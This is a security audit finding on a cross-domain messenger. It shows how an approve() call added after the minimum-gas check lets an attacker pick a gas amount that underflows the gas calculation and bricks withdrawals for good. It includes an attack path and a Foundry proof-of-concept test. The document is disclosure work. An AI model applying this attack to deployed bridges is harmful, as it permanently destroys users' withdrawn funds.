obront - Withdrawals can be bricked due to gas calculation underflow

[sherlock-admin3]

obront

High

Withdrawals can be bricked due to gas calculation underflow

Summary

The gas calculations on withdrawals through the Cross Domain Messenger are such that, no matter what minGasLimit a user sets, the withdrawal should be replayable and not lost.

However, because the diff to the L1 Cross Domain Messenger includes a new external call to nativeToken.approve() between the hasMinGas check and the actual call, the opportunity exists for an underflow that would brick the withdrawal and lose user funds.

Root Cause

If withdrawals are processed through the Portal to the L1 Cross Domain Messenger and aren't stored in the failedMessages mapping, they are not replayable. This has been a major issue in Optimism audits in the past.

Optimism has fixed this issue by using SafeCall.hasMinGas() to determine whether there is sufficient gas prior to the call from the Cross Domain Messenger. If not, we store the message in the failedMessages mapping and return early.

Specifically, what is being checked in hasMinGas is:

• Take the _minGasLimit provided by the user
• Multiple by 64/63 to account for the maximum amount of gas that can be forwarded on a call
• Add 40,000 plus the reserved gas passed to the result

The reserved gas passed to the function has been calculated by the Optimism team to reflect the contract's needs. Specifically, it says:

This function should directly precede the external call if possible. There is an added buffer to account for gas consumed between this check and the call, but it is only 5,700 gas.

Unfortunately, this contract has been changed to add an external call to nativeToken.approve() between the check and the execution.

This could lead to a number of negative consequences, but the most serious is that, in the event that a low minGasLimit is used, the amount of gas left could be reduced to a value less than 40,000. Then, the external call is performed as follows (where RELAY_RESERVED_GAS = 40_000):

bool success = SafeCall.call(_target, gasleft() - RELAY_RESERVED_GAS, 0, _message);

This subtraction would underflow and cause a revert, which would lead to the withdrawal transaction being bricked and not replayable, losing user funds.

Internal Preconditions

None

External Preconditions

1. The approve() function of the Native Token uses at least 40_000 gas (just two SSTOREs).

Attack Path

1. A withdrawal is made with a low minGasLimit through the Cross Domain Messenger (which shouldn't matter, because it should always be replayable).
2. An attacker watches for the withdrawal to be ready to be finalized.
3. They call finalizeWithdrawalTransaction() with a precise amount of gas that leads to the hasMinGas check to pass, but there to be less than 40,000 gas left by the time we get to the external call.
4. The function reverts from the underflow, and the transaction is lost.

Impact

In the event that an L2 Native Token uses at least 40,000 gas in its approve() function, withdrawals with small minGasLimit values can be bricked and user funds lost, even if they use the safe flow of using the Cross Domain Messenger.

PoC

The following test file implements a dummy relayMessage() function the simulates the exact gas usage of the main contract (without needing to simulate a full withdrawal).

The result is that there is sufficient gas to pass the hasMinGas check, but there is an underflow when calculating the gas left for the external call.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { stdStorage, StdStorage, Test, console } from "forge-std/Test.sol";
import { OptimismPortal2 } from "../src/L1/OptimismPortal2.sol";
import { Constants } from "../src/libraries/Constants.sol";
import { L2NativeToken } from "../src/L1/L2NativeToken.sol";
import { ResourceMetering } from "../src/L1/ResourceMetering.sol";

import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeCall } from "../src/libraries/SafeCall.sol";

contract DummyToken {
    mapping (address => mapping (address => uint256)) public approvals;
    mapping (address => address[]) public operators;

    function approve(address operator, uint256 amount) external returns (bool) {
        if (approvals[msg.sender][operator] == 0) {
            operators[msg.sender].push(operator);
        }

        approvals[msg.sender][operator] = amount;

        return true;
    }
}

contract DummyCrossDomainMessenger  {
    using SafeERC20 for IERC20;

    mapping (bytes32 => bool) public failedMessages;
    mapping (bytes32 => bool) public successfulMessages;
    address public xDomainMsgSender;
    address public nativeTokenAddress;

    uint64 public constant RELAY_CALL_OVERHEAD = 40_000;
    uint64 public constant RELAY_RESERVED_GAS = 40_000;
    uint64 public constant RELAY_GAS_CHECK_BUFFER = 5_000;

    event RelayedMessage(bytes32 indexed msgHash);
    event FailedRelayedMessage(bytes32 indexed msgHash);

    constructor(address _native) {
        nativeTokenAddress = _native;
        xDomainMsgSender = Constants.DEFAULT_L2_SENDER;
    }

    function relayMessage(address _sender, address _target, uint256 _value, uint32 _minGasLimit, bytes memory _message) external payable {
        // Load into memory to emulate contract conditions.
        address _nativeTokenAddress = nativeTokenAddress;
        bytes32 versionedHash = keccak256("doesntmatter");

        // If there is not enough gas left to perform the external call and finish the execution,
        // return early and assign the message to the failedMessages mapping.
        // We are asserting that we have enough gas to:
        // 1. Call the target contract (_minGasLimit + RELAY_CALL_OVERHEAD + RELAY_GAS_CHECK_BUFFER)
        //   1.a. The RELAY_CALL_OVERHEAD is included in `hasMinGas`.
        // 2. Finish the execution after the external call (RELAY_RESERVED_GAS).
        //
        // If `xDomainMsgSender` is not the default L2 sender, this function
        // is being re-entered. This marks the message as failed to allow it to be replayed.
        if (
            !SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER)
                || xDomainMsgSender != Constants.DEFAULT_L2_SENDER
        ) {
            failedMessages[versionedHash] = true;
            emit FailedRelayedMessage(versionedHash);

            // Revert in this case if the transaction was triggered by the estimation address. This
            // should only be possible during gas estimation or we have bigger problems. Reverting
            // here will make the behavior of gas estimation change such that the gas limit
            // computed will be the amount required to relay the message, even if that amount is
            // greater than the minimum gas limit specified by the user.
            if (tx.origin == Constants.ESTIMATION_ADDRESS) {
                revert("CrossDomainMessenger: failed to relay message");
            }
            return;
        }

        xDomainMsgSender = _sender;

        if (_value != 0 && _target != address(0)) {
            IERC20(_nativeTokenAddress).approve(_target, _value);
        }

        bool success = SafeCall.call(_target, gasleft() - RELAY_RESERVED_GAS, 0, _message);

        if (_value != 0 && _target != address(0)) {
            IERC20(_nativeTokenAddress).approve(_target, 0);
        }

        xDomainMsgSender = Constants.DEFAULT_L2_SENDER;

        if (success) {
            assert(successfulMessages[versionedHash] == false);
            successfulMessages[versionedHash] = true;
            emit RelayedMessage(versionedHash);
        } else {
            failedMessages[versionedHash] = true;
            emit FailedRelayedMessage(versionedHash);
        }
    }
}

contract POC is Test {
    using stdStorage for StdStorage;

    DummyCrossDomainMessenger xdm;
    L2NativeToken token;

    function setUp() public {
        token = L2NativeToken(address(new DummyToken()));
        xdm = new DummyCrossDomainMessenger(address(token));
    }

    function testZach_minGasBreached() public {
        vm.expectRevert();
        xdm.relayMessage{gas: 88_500}(address(this), address(100), 1e18, 0, bytes(""));
    }
}

Mitigation

The call to approve() should happen before the hasMinGas check to ensure that there are no variable amounts of gas reliant on external contracts that could cause issues with our mission critical calculations.